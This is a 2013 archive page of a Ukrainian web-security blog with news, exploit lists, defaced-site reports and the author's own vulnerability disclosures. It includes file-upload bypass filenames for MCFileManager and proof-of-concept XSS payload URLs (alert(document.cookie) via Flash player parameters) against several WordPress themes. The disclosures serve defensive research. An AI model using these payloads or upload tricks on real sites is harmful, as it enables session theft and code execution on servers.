Архів за Травень, 2013

Протокол безпечних cookie

20:34 18.05.2013

В документі A Secure Cookie Protocol розповідається про протокол безпечних кукісів. Про його необхідність та про можливість створення такого протоколу.

Автори навели аргументи на користь передачі безпечних кукісів за для захисту від різних атак на них. Також вони проаналізували існуючи концепції таких протоколів та запропонували власний протокол, що не має проблем інших концепцій та надійно захищає від атак на кукіси.

В статті розглянуті наступні проблеми створення протоколу безпечних cookie:

1. Secure Cookie Protocol.
2. Протокол Fu та його проблеми.
3. Протокол авторів, що вирішує усі проблеми з безпекою протокола Fu.
4. Реалізація та швидкодія.
5. Інші проколи безпечних кукісів.

Враховуючи переваги протоколу розробленого авторами, вони рекомендують його для використання у веб додатках. Зокрема розробники WordPress використовують цей алгоритм для створення кукісів починаючи з версії WP 2.5.

Уразливості в MCFileManager для TinyMCE

23:52 17.05.2013

02.04.2013

У лютому, 20.02.2013, я знайшов Arbitrary File Uploading уразливості в Moxiecode File Manager (MCFileManager) для TinyMCE. Про що вже повідомив розробникам.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.

17.05.2013

Arbitrary File Uploading (WASC-31):

http://site/path/tiny_mce/plugins/filemanager/pages/fm/index.html

Плагін MCFileManager для TinyMCE вразливий до обхідних атак при завантаженні файлів. Що призводять до виконання коду на веб серверах IIS і Apache.

Код виконається через завантаженні файла. Програма вразлива до трьох методів виконання коду: через використання символа “;” (1.asp;.txt) в імені файла (IIS), через “1.asp” в імені папки (IIS), через подвійне розширення (1.php.txt) (Apache).

Вразливі Moxiecode File Manager 3.1.5 та попередні версії. В квітні розробник пообіцяв виправити дані уразливості в новій версії веб додатку.

Витік інформації в cURL і libcurl

22:43 17.05.2013

Виявлена можливість витоку інформації в cURL і libcurl.

Уразливі продукти: cURL 7.27, libcurl 7.27.

Міждоменний доступ до cookie.

Виконання коду в Mozilla Firefox

20:15 17.05.2013

Продовжуючи розпочату традицію, після попереднього відео про 0day eксплоіт для Internet Explorer, пропоную нове відео на веб секюріті тематику. Цього разу відео про виконання коду в Mozilla Firefox. Рекомендую подивитися всім хто цікавиться цією темою.

CVE-2011-3658 Firefox 7/8 nsSVGValue Vulnerability Metasploit Demo

В даному відео ролику демонструється використання Metasploit Framework для проведення атаки на уразливість в Mozilla Firefox 7 і 8. В Metasploit створюється і запускається експлоіт, який призводить до віддаленого виконання коду в Firefox при відкритті сторінки з кодом експлоіту. Що дозволяє нападнику отримати контроль над атакованим комп’ютером.

Атака відбувається при відвідуванні в Firefox спеціально створеного веб сайта, що містить код експлоіту. Рекомендую подивитися дане відео для розуміння векторів атак на браузери.

Добірка експлоітів

17:26 17.05.2013

В даній добірці експлоіти в веб додатках:

  • D-Link DSL-320B - Multiple Vulnerabilities (деталі)
  • Cisco Linksys E4200 Firmware - XSS/LFI Vulnerabilities (деталі)
  • Flightgear 2.0 / 2.4 Format String Vulnerability (деталі)
  • SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution (деталі)
  • Huawei SNMPv3 Buffer Overflow Vulnerability (деталі)

Вийшов Mozilla Firefox 21

22:46 16.05.2013

У травні, 15.05.2013, вийшов Mozilla Firefox 21. Нова версія браузера вийшла через півтора місяця після виходу Firefox 20.

Mozilla офіційно випустила реліз веб-браузера Firefox 21, а також мобільну версію Firefox 21 для платформи Android. Відповідно до шеститижневого циклу розробки, реліз Firefox 22 намічений на 25 червня, а Firefox 23 на 6 серпня. Також був випущений Seamonkey 2.18.

Одночасно з Firefox 21 випущені коригувальні релізи гілок із тривалим терміном підтримки - Firefox 17.0.6 і Thunderbird 17.0.6.

Окремо варто відзначити, що крім нововведень і виправлення помилок у Firefox 21.0 усунуто 8 уразливостей, серед яких 4 позначені як критичні, що можуть привести до виконання коду зловмисника при відкритті спеціально оформлених сторінок. Причому ця кількість - це саме патчі (Mozilla типово виправляє по декілька дір за один патч).

Похакані сайти №226

20:37 16.05.2013

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

  • http://dei.gov.ua (хакером Dr.SHA6H) - 30.12.2012 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://zvenrada.gov.ua (хакером ghost-dz) - 26.02.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
  • http://baklykoff.com (хакером ABO-SHOSHAH) - 13.04.2013, зараз сайт вже виправлений адмінами
  • http://agrosmak.net (хакером ABO-SHOSHAH) - 13.04.2013, зараз сайт вже виправлений адмінами
  • http://www.trideneli.ua (хакером Hacker603) - причому спочатку сайт 30.04.2013 був взломаний Hacker603, 02.05.2013 він був взломаний Shr3if, а 08.05.2013 він був взломаний 3alee GhOst WarRior. Схоже, що сайт постійно хакається, як і деякі інші сайти в Уанеті

Добірка уразливостей

17:26 16.05.2013

В даній добірці уразливості в веб додатках:

  • Nagios XI Network Monitor Blind SQL Injection (деталі)
  • icinga security update (деталі)
  • Nagios XI Network Monitor OS Command Injection (деталі)
  • Path Traversal in AWS XMS (деталі)
  • IBM System Director Remote System Level Exploit (CVE-2009-0880 extended zeroday) (деталі)
  • MailOrderWorks v5.907 - Multiple Web Vulnerabilities (деталі)
  • HP Integrated Lights-Out iLO3 and iLO4, Remote Disclosure of Information (деталі)
  • Update Spoofing Vulnerability in mRemote 1.50 (деталі)
  • MPC (Media Player Classic) WebServer Multiple Vulnerabilities (деталі)
  • Update Spoofing Vulnerability in Royal TS 2.1.5 (деталі)

Уразливості в численних темах для WordPress з VideoJS

23:55 15.05.2013

У лютому, 07.02.2013, я виявив Cross-Site Scripting та Full path disclosure уразливості в темах для WordPress, що містять VideoJS. Раніше я писав про уразливості в VideoJS.

Це дуже поширена флешка, що знаходиться на сотнях тисяч веб сайтів і яка використовується в багатьох веб додатках. При стандартному пошуку VideoJS через Гугл дорки виводиться 446000 сайтів, а при пошуку по плагінам для WordPress можна знайти 171000 сайтів з цією флешкою.

Цей плеєр міститься в багатьох темах (шаблонах) для WordPress. Серед них Covert VideoPress, Photolio, Source, Smartstart та Crius. Та існують інші уразливі теми для WordPress з video-js.swf (судячи з гугл дорка). Розробники VideoJS випустили оновлення свого плеєра і всім розробникам веб додатків з VideoJS потрібно його оновити в своїх додатках.

Cross-Site Scripting (WASC-08):

Існують теми з багатьма флеш медіа плеєрами: окрім VideoJS вони мають jPlayer і JW Player. І такі теми мають усі XSS та Content Spoofing уразливості, які мають jPlayer і JW Player.

Covert VideoPress:

http://site/wp-content/themes/covertvideopress/assets/video-js.swf?readyFunction=alert(document.cookie)

Photolio:

http://site/wp-content/themes/photolio/js/Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(document.cookie)//
http://site/wp-content/themes/photolio/js/Jplayer.swf?id=%27))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//
http://site/wp-content/themes/photolio/js/jwplayer/player.swf?playerready=alert(document.cookie)
http://site/wp-content/themes/photolio/js/jwplayer/video-js.swf?readyFunction=alert(document.cookie)

Source:

http://site/wp-content/themes/source/js/jplayer/Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(document.cookie)//
http://site/wp-content/themes/source/js/jplayer/Jplayer.swf?id=%27))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//
http://site/wp-content/themes/source/js/video/video-js.swf?readyFunction=alert(document.cookie)

Smartstart:

http://site/wp-content/themes/smartstart/js/video-js.swf?readyFunction=alert(document.cookie)

Crius:

http://site/wp-content/themes/crius/js/Jplayer.swf?jQuery=)}catch(e){}if(!self.a)self.a=!alert(document.cookie)//
http://site/wp-content/themes/crius/js/Jplayer.swf?id=%27))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//
http://site/wp-content/themes/crius/js/player.swf?playerready=alert(document.cookie)
http://site/wp-content/themes/crius/js/video-js.swf?readyFunction=alert(document.cookie)

Full path disclosure (WASC-13):

Всі зазначені теми мають FPD уразливості в php-файлах (в index.php та інших), що типово для WP тем.

http://site/wp-content/themes/covertvideopress/

http://site/wp-content/themes/photolio/

http://site/wp-content/themes/source/

http://site/wp-content/themes/smartstart/

http://site/wp-content/themes/crius/

Вразливі всі версії наступних веб додатків: Covert VideoPress, Photolio, Source, Smartstart та Crius.

Вразливі веб додатки, що використовують VideoJS Flash Component 3.0.2 і попередні версії. Версія VideoJS Flash Component 3.0.2 не вразлива до згаданої XSS дірки, але вразлива до XSS через JS калбеки (подібно до JW Player). А також є обхідні методи, що працюють в останній версії, але розробники не виправили їх через їхній невеликий вплив. Тому розробникам веб додатків з VideoJS потрібно оновити його до останньої версії.

Інфікований Dropbox

22:40 15.05.2013

В попередні роки я неодноразово писав про інфекцію на відомих сайтах. І зараз розповім про інфікований dropbox.com. Якщо скорочувачі адрес, такі як TinyURL, та соціальні мережі, такі як ВКонтакте, вже давно використовуються для поширення шкідливого коду, то файлообмінники також можуть використовуватися для цього. І нещодавно я виявив подібну ситуацію на сервісі обміну файлами та синхронізації файлів Dropbox.

Наприклад, на tinyurl.com зараз розміщено багато шкідливого ПЗ, так само як це було в 2010 році. Останнього разу підозрілий вміст на цьому сайті був виявлений сьогодні. Шкідливий код може розміщуватися як на сторінках самого сервісу (про відповідні уразливості я писав раніше), так і на тих сайтах, куди він редиректить (бо саме це є призначанням сервісу і цей функціонал використовується для атак на користувачів).

У випадку Dropbox атака відбувається через розміщення шкідливих файлів на серверах сервісу. За даними Google, підозрілий вміст на dropbox.com був виявлений сьогодні. Зафіксовано таке зловмисне програмне забезпечення: 3217 троянів, 2009 вірусів та 1826 експлоітів. За попередні 90 днів на цьому сайті розміщувалося зловмисне програмне забезпечення. Ним заражено 42 домени та він був проміжною ланкою в зараженні 13 інших сайтів.

Як я виявив, шкідливе ПЗ розміщене на доменах dl.dropbox.com і dl.dropboxusercontent.com (маловірогідно, що malware є на основному домені dropbox.com, бо доступ до файлів розміщених на Dropbox відбувається саме на цих доменах). Це статистика для першого домену, а для dl.dropboxusercontent.com маємо наступну статистику. Зафіксовано таке зловмисне програмне забезпечення: 974 троянів, 790 експлоітів та 370 вірусів. За попередні 90 днів ним заражено 424 домени та він був проміжною ланкою в зараженні 11 інших сайтів.

Так що окрім дірок Dropbox, що торік призвели до взлому сервісу, він ще використовується для поширення шкідливого ПЗ. Тому власникам сервісу є куди покращувати його безпеку.